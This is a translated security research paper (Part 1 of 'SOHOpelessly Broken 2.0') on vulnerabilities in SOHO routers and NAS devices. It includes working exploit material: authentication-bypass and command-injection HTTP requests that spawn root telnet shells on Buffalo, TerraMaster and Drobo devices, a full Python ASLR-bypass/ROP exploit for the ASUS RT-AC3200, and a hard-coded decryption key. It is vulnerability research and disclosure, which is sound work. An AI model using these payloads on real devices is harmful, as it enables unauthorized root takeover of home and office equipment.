SOHOpelessly Broken 2.0:网络访问服务中的安全漏洞分析(Part1)

阅读量    427236 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 摘要

IoT(物联网)设备始终存在各种安全问题。2013年,Independent Security Evaluators(ISE)针对IoT设备做了一些研究,发现攻击者可以利用各种功能来攻破这些设备。设备厂商在不断部署安全控制机制,然而这些机制并不是十全十美,今天我们可以看到这些机制并不足以防御远程攻击者。本次研究的目标是发现以及利用新技术来规避嵌入式设备中新部署的安全机制。

 

0x01 简介

嵌入式设备是专用的计算系统,这类系统包括工业控制器、小型办公/家庭办公(SOHO)路由器、网络连接存储设备(NAS)以及IP摄像头。与互联网连接的嵌入式设备通常会被归为更广泛的一类,即IoT设备。

2013年我们对IoT设备的安全性进行了一次评估,主要关注的是SOHO市场中的路由器及NAS设备。当时研究的主题是“SOHOpelessly Broken”,向大家演示了如何利用无关的功能远程破坏IoT设备。在SOHOpelessly Broken研究过程中,我们新发现的漏洞总共拿到了52个CVE。

在这次SOHOpelessly Broken 2.0研究中,我们评估了13款SOHO路由器及NAS设备,发现了许多漏洞,拿到了125个CVE。之所以主要关注这类设备,是因为它们关系到网络安全,也是因为我们想分析从上一次研究之后,这些设备在安全方面做了哪些改进(如果有改进的话)。

尽管设备厂商越来越关注安全性,但这些IoT设备并没有足够的安全控制机制来避免被远程攻击。

本文首先介绍了我们分析的IoT设备,其次描述了我们考虑的安全威胁及及评估每个设备安全性的方法,接着我们讨论了目标设备上实现的安全控制机制,演示了如何搞定或者绕过这些安全功能。随后我们将此次研究结果与上一次研究成果(“SOHOpelessly Broken 1.0”)进行比较,最后讨论了漏洞披露过程,归纳总结。

 

0x02 目标设备

我们选择了许多厂商生产的设备进行评估,以便对整个行业有个更好的理解,而不是局限在某个单一的品牌上。我们的目标范围交广,包括为一般消费者设计的设备以及为企业场景设计的高端设备。大多数目标厂商口碑不错,在业内广为人知,此外还包括正在扩张市场份额的新兴企业。除了这些新设备之外,我们还重新分析了先前研究过的一些设备,以确认这几年来这些厂商是否改进了安全方法或者安全实践。

表. SOHOpelessly Broken 2.0的研究设备

设备 固件版本
Buffalo TeraStation TS5600D1206* 3.61-0.08
Synology DS218j 6.1.5
TerraMaster F2-420 3.1.03
Zyxel NSA325 v2* 4.81
Drobo 5N2 4.0.5-13.28.96115
Asustor AS-602T* 3.1.1
Seagate STCR3000101 4.3.15.1
QNAP TS-870* 4.3.4.0486
Lenovo ix4-300d* 4.1.402.34662
ASUS RT-AC3200 3.0.0.4.382.50010
Netgear Nighthawk R9000 1.0.3.10
TOTOLINK A3002RU 1.0.8
Xiaomi Mi Router 3 2.22.15

*之前已经分析过这些设备

我们研究的13款设备至少都包含1个web应用漏洞,比如XSS(跨站脚本)、OS CMDi(操作系统命令注入)或者SQLi(SQL注入),攻击者可以利用这些漏洞拿到设备的shell,或者访问设备的管理面板。我们在12款设备上拿到了root shell,可以完全控制这些设备,其中有6款设备无需认证就能远程攻击,分别为:Asustor AS-602T、Buffalo TeraStation TS5600D1206、TerraMaster F2-420、Drobo 5N2、Netgear Nighthawk R9000以及TOTOLINK A3002RU。

设备配置

我们的目标都已更新到官方最新的固件版本,然后采用“开箱即用”的默认配置进行评估。这种配置状态通常会包括方便设备使用的一些功能,比如,NAS设备通常会启用文件共享协议、路由器通常会启用uPnP协议来方便内部网设备通信。我们完成了所有初始设置向导过程,启用了页面建议的各种安全功能。由于用户通常会使用初始设置时的默认配置,因此我们希望能够尽可能模拟典型的使用场景。我们并没有特意将这些设备设置为不安全的状态,不会禁用默认安全功能来方便我们发现漏洞。我们的目标并不是发现默认配置下的安全问题,而是想找到没有正确开发的功能。

 

0x03 研究方法

我们的目标是远程攻破这些设备,在无需任何身份认证的前提下,以完整的root访问权限执行任意系统命令以及函数。在评估系统找到漏洞之前,我们首先要理解这些设备可能面临的安全风险。

安全风险

由于IoT设备在安全性方面较差但本身又比较重要,因此这些设备也吸引了许多攻击者的目光。这些设备面临各种潜在威胁,从技能高超的攻击者到使用现成利用工具链的操作者等。我们将来自本地网络的或者来自互联网的经过身份认证的用户或者攻击者都当成潜在的安全威胁。

之所以这里还将远程攻击者考虑在内,是因为我们认为这些攻击者可能利用某些功能(比如端口转发),从互联网来攻击本地网络的设备;也有可能目标设备是互联网网关,可以接收来自广域网的数据。即便没有这些功能,攻击者也可以利用内部网络中的其他设备,通过CSRF(跨站请求伪造)以及DNS(域名系统)再次发起攻击。

了解这些威胁后,我们可以开始聚焦研究目标:在不经身份认证的情况下,远程获取目标设备的root访问权限。下文详细介绍了我们在寻找目标设备漏洞中的研究过程。

评估方法

本节介绍了我们在识别漏洞过程中采用的步骤。我们的目标是找到可能的攻击面以及漏洞,高级攻击者可能利用这些脆弱性获得目标系统或者特定资源的访问权限。在必要时,我们会采用自动化操作,但更多情况下我们选择采用手动方式对程序组件进行评估,以确保我们审计的精确性及全面性。

我们的评估过程主要分为四个阶段:

1、信息收集;

2、服务枚举;

3、获得访问权限;

4、开发利用代码。

在信息收集阶段,我们被动收集了目标设备尽可能多的信息。我们研究了设备具备的功能,分析功能用途,完成各种初始化设置任务。我们也下载并请求获取厂商可能提供的各种开源代码。这些源码可以帮助我们分析每款设备具体使用哪些库。

经过最初信息收集后,我们开始枚举每款设备默认可用的服务。我们主要关注通过网络可访问的服务,因为我们的目标是找到远程可利用的漏洞。我们记录了每个服务的版本号,映射出每个web应用,并收集了网络流量。

接下来我们使用在服务枚举阶段找到的信息来寻找漏洞。在可能的情况下,我们使用shell来访问目标设备,以观察网络可访问服务所使用的源代码以及二进制程序。

在获得访问权限阶段,我们审计了每个设备上可以帮我们获得完全访问权限的漏洞。找到这些漏洞后,我们向目标设备发起PoC攻击。在构建PoC时,我们通常会组合一些漏洞来降低远程攻击目标所需的访问级别。比如,我们会将CSRF以及CMDi结合起来,向通过身份认证的目标用户发起攻击,滥用这些用户的权限来远程攻破这些设备。

 

0x04 规避安全控制

13款设备中,有12款可以实现远程root级访问。我们在研究中找到的漏洞类别如下表所示:

设备 缓冲区溢出 XSS 命令注入 SQL注入 认证绕过 授权绕过 CSRF 文件上传路径遍历
Buffalo TeraStation TS5600D1206
Synology DS218j*
ASUS RT-AC3200
Netgear Nighthawk R9000
TerraMaster F2-420
Drobo 5N2**
Zyxel NSA325 v2
TOTOLINK A3002RU
Asustor AS-602T
Seagate STCR3000101
QNAP TS-870
Mi Router 3
Lenovo ix4-300d

* 我们向Synlogy反馈的问题(会话修复及判断任意文件是否存在)并没有包含在这张表中;

** 虽然Drobo默认并没有包含web应用,但我们在这张表中纳入了可选web应用组件中存在的漏洞。

下文中我们详细介绍了目标设备、我们遇到的安全控制机制以及如何绕过这些机制。

Buffalo TeraStation TS5600D1206

Buffalo TeraStation TS5600D1206是个企业级的NAS,提供web应用功能,用户可以用来管理设备上运行的服务。在上一次研究中我们已经分析过TeraStation,这里我们将该设备升级到最新固件,继续纳入这次SOHOpelessly Broken 2.0研究中。

TeraStation的web应用在身份认证过程中使用了浏览器cookie,在/nasapi端点提供一个JSON-RPC API,方便与设备交互。当用户向这个API端点发送请求时,后端服务器就会验证请求中是否包含与有效用户关联的一个cookie,然后再验证用户授权。我们发现只要将HTTP Host请求头改成127.0.0.1或者localhost(loopback接口的IP地址及名称),就可以绕过认证及授权检查。因此,只要能够通过网络访问该设备,任何用户都可以不通过身份认证直接向该设备发送请求。

比如,我们通过如下POST请求激活NAS的查找设备功能:

POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 76
Connection: close

{"jsonrpc":"2.0","method":”sound.find_location_device","id":"1536265876914"}

这个漏洞可以用来启用或者禁用服务,或者通过web应用执行其他可用的操作。

除了认证绕过之外,我们还在TerraStation的用户创建过程中找到了一个OS CMDi漏洞。

这里用户创建分为两个步骤,用户名首先存储在数据库中,然后以参数形式传递给pdbedit系统命令。虽然这看上去是非常直接的一个命令注入漏洞,但我们遇到了一个复杂的黑名单问题:用户名不能包含特定字符,即(-_.!#&@$*^%)

因为TeraStation上使用的命令解析器为Bash,我们可以使用内置的变量来替代黑名单中的字符。考虑到这一点,我们使用如下shell变量来构造最终payload:

$IFS是Internal Field Separator(内部字段分隔符),可以用来替换空格符;

$@可以扩展为占位参数。这里我们没有向子shell传入任何参数,因此没有使用这种方法;

$SHELL是用户选择的shell。对于启动该进程的用户,这个变量值为/bin/bash

中这些变量的帮助下,我们可以构造出如下payload:

ISEUserName$IFS&telnetd$IFS-p$IFS$@8383$IFS-l$IFS$@$SHELL

经过Bash处理后,会变成如下payload:

ISEUserName &telnetd -p 8383 -l /bin/bash

这个payload将创建名为ISEUserName的用户,并且以root用户创建运行在8383端口的telnet服务端。

攻击者可以发送如下请求,首先在数据库中创建payload,然后触发命令注入。

请求1:

POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 249
Connection: close

{"jsonrpc":"2.0","method":"User.create","params":{"name":"ISEUserName$IFS&telnetd$IFS-p$IFS$@8383$IFS-l$IFS$@$SHELL","mail":"ise@securityevaluators.com","password":"test123","use_quota":0,"group_id":100,"sub_group_ids":[100]},"id":"1536180329935"}

请求2:

POST /nasapi/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 82
Content-Type: application/json
Connection: close

{"jsonrpc":"2.0","method":"apply_settings","params":{},"id":1529015375895"}

结合认证绕过及OS CMDi漏洞后,攻击者可以绕过Buffalo在TeraStation上部署的安全控制机制,获得root权限。

ASUS RT-AC3200

ASUS RT-AC3200是一款SOHO路由器,运行ASUS的ASUSWRT固件。ASUSWRT提供了一个web服务端(httpd或者mini_httpd),为用户提供路由器管理功能。

ASUS遵循GNU General Public License,为许多路由器程序提供了源码,其中包括httpd。在查看httpd的源码时,我们发现其中经常引用如下C宏:

#define websWrite(wp, fmt, args…) ({ int TMPVAR = fprintf(wp, fmt, ## args); fflush(wp); TMPVAR; })

这个宏使用fprintf()来格式化数据并写入FILE指针,这里即为HTTP连接,因此可能存在不可控的格式化字符串漏洞。C的格式化print函数中用到了一些标志,比如%s表示字符串、%d表示整数等。这里比较有趣的是%x,可以用来从栈中读取十六进制格式字节。

我们使用这个格式化字符串漏洞来绕过ASUSWRT的地址空间布局随机化(ASLR)。简而言之,ASLR会随机化程序多次运行时在内存中的段布局,因此我们很难利用缓冲区溢出漏洞来实现代码执行,因为可利用代码的位置难以预测。幸运的是,我们找到了一个设备不可控的格式化字符串漏洞,可以让我们获取调用栈上保存的指针信息。

随后我们利用该指针,与我们在/appGet.cgi中找到的缓冲区溢出漏洞结合起来实现远程代码执行。在如下Python脚本中,我们使用格式化字符串漏洞来获取这些地址,然后利用这些信息绕过ASLR,然后开发了一个缓冲区溢出漏洞,结合ROP(面向返回的编程)以及熟知的return-to-libc技术成功启动了shell。

#!/usr/bin/env python

# Usage:
# ./rt-ac3200_CVE-2018-14712.py <target host> <target port> <admin username> <admin password>
import base64
import requests
import struct
import sys

gadget_offset = 0x23d0
system_offset = 0x29f8
cmd_offset = -0x2038

(host, port) = (sys.argv[1], sys.argv[2])
url = ('http://%s:%s' % (host, port)) if port != '80' else 'http://%s' % host
username = sys.argv[3]
password = sys.argv[4]

s = requests.Session()

s.post(url + '/login.cgi',
    headers={'Referer': url + '/Main_Login.asp'},
    data={'login_authorization': base64.b64encode(username + ':' + password)})

leak = s.get(url + '/appGet.cgi', params={
    'hook': 'nvram_match("wan_proto","dhcp","%p,%p,%p,%p,%p,")'
}).content

print(leak)

lib_base = int(leak.split(',')[4], 16)
stack_base = int(leak.split(',')[2], 16)

gadget = struct.pack('I', lib_base + gadget_offset)
system = struct.pack('I', lib_base + system_offset)
cmd = struct.pack('I', stack_base + cmd_offset)

if '\x00' in gadget or '\x00' in system or '\x00' in cmd:
    print('NULL byte detected: exploit will fail. Try again when server restarts.')

r = s.get(url + '/appGet.cgi', params={
    'hook': 'delete_sharedfolder()',
    'folder': 'A',
    'pool': 'A'*44 + gadget + cmd + 'A'*24 + system + 'telnetd -l /bin/sh -p 1234'
})

print(r.content)

当加载系统程序时,Asus使用ASLR来随机化内存布局,以防御缓冲区溢出攻击。我们通过格式化字符串漏洞绕过了这个安全控制机制,成功利用了我们在设备上发现的基于栈的缓冲区溢出漏洞。

TerraMaster F2-420

TerraMaster F2-420是一款NAS设备,可以让用户管理文件、安装其他应用以及管理设备,最主要的用户接口是一个web应用。这款设备可以支持多个用户账户,能够区分普通用户以及管理员。

当用户提供正确的用户名及密码组合用,认证机制就会向用户提供一个会话令牌作为cookie,当用户获得有效的会话cookie后,就可以浏览Terramaster web应用接口来访问设备的功能。

虽然浏览多数web应用时设备会验证用户的权限以及身份,但有些应用区域以及API没有授权甚至认证机制,因此远程未授权攻击者可以利用这些API绕过F2-420上部署的访问控制机制。

在分析F2-420的过程中,我们需要识别能够帮我们获得root shell访问权限的服务。虽然我们可以映射出整个web应用,使用常见的命令注入payload来fuzz每个输入字段,但我们选择分析每个PHP文件,判断哪些文件能发挥作用。

TerraMaster并不像常见的PHP web应用那样将PHP源码文件存放在设备上,而是加密源文件,使源码对具备文件访问权限的攻击者可读性较差,加大逆向分析难度。这种安全控制并不是想要直接保护用户,而是用来保护TerraMaster的应用源码。

然而,由于加密后的文件在被PHP解释器处理之前必须先解密,因此解密密钥必须存储在NAS上。TerraMaster使用的是screw_aes库,并且解密每个源文件的密钥都已经硬编码到设备文件系统上的php程序中。我们提取出这个密钥,使用如下命令手动解密出每个文件:

find . -name '*.php' -exec bash -c "openssl aes-256-cbc -d -K 3834326434326239383837366635383166306466626566623063643262356333 -iv 0 -in {} > {}.dec.php " \;

能够访问应用源码后,我们可以快速搜索危险的函数,查找隐藏的应用接口,澄清认证及授权逻辑。审计源码后,我们找到了/include/ajax/logtable.php端点,这个口并没有检查请求中是否包含认证数据,并且使用PHP的system()函数来执行Linux系统命令、与数据库进行交互。攻击者可以利用这些因素来实现未授权的root命令执行。比如,我们可以使用如下POST请求作为payload:

POST /include/ajax/logtable.php HTTP/1.1
Host: NASIP:5443
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

tab=gettotal&Event=%60/usr/sbin/telnetd%20-l%20/bin/sh%20-p%208383%60&table=access_syslog

这个HTTP POST请求会导致NAS创建在8383端口监听的一个telnet服务端。攻击者无需认证就可以连接到这个telnet服务端,执行任意系统命令。

攻击者可以直接向设备的API发送请求,轻松绕过Terramaster F2-420的安全控制机制。通过逆向分析,攻击者可以绕过设备上对PHP web应用源码的加密机制,提取出存放在php程序中的静态密钥然后手动解密每个文件。

Drobo 5N2

Drobo 5N2是一个NAS设备,可以让用户安装其他应用、管理设备、托管其他web应用及数据库,也能承担网络访问存储设备的角色。与此次研究中的其他设备相比,5N2比较特殊,因为这款设备默认并没有提供任何web应用。相反,该设备主要的用户接口为适用于Windows及macOS系统的桌面应用:Drobo Dashboard。

Drobo Dashboard会与NASd通信,后者是5N2上运行的一个自定义服务,在5000及5001 TCP端口上监听。NASd使用的是自定义协议,攻击者需要通过逆向分析才能与该服务通信。幸运的是,我们在观察Drobo Dashboard与NASd之间的正常流量后,就可以顺利理解该协议。

NASd协议使用设备序列号进行身份认证,这通常不是非常好的身份认证形式(因为该信息可能在设备上或者其他地方找到),并且该设备会向连接到5000端口(即stat端口)的对端提供序列号信息。如果想连接5001端口(即cmd端口),则必须包含序列号。如果大家想详细了解NASd协议以及与Drobo 5N2交互的PoC程序,可以参考本文的附录。

掌握自定义协议后,我们使用NASd来安装Drobo的NAS应用,这些应用(包括web应用DroboAccess)中包含大量的漏洞。比如,DroboAccess中有个命令注入漏洞,可以让未经身份认证的攻击者以root权限执行任意系统命令。例如我们可以使用如下GET请求在目标设备上启动telnet服务端:

GET http://192.168.1.26:8080/DroboAccess/enable_user?username=test';/usr/sbin/telnetd%20-l/bin/sh&enabled=true

NASd协议的安全性完全依赖于被混淆的专有协议。如果攻击者经验丰富,就可以逆向分析专有协议,然后利用其中普遍存在的缺乏身份认证的问题。成功利用这些缺陷后,攻击者可以安装其他应用。当我们安装完DroboAccess后,我们发现底层系统中已经封装了许多页面,这些页面可以发送包含未过滤用户输入的命令,从而能让我们拿到root级别的远程访问权限。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多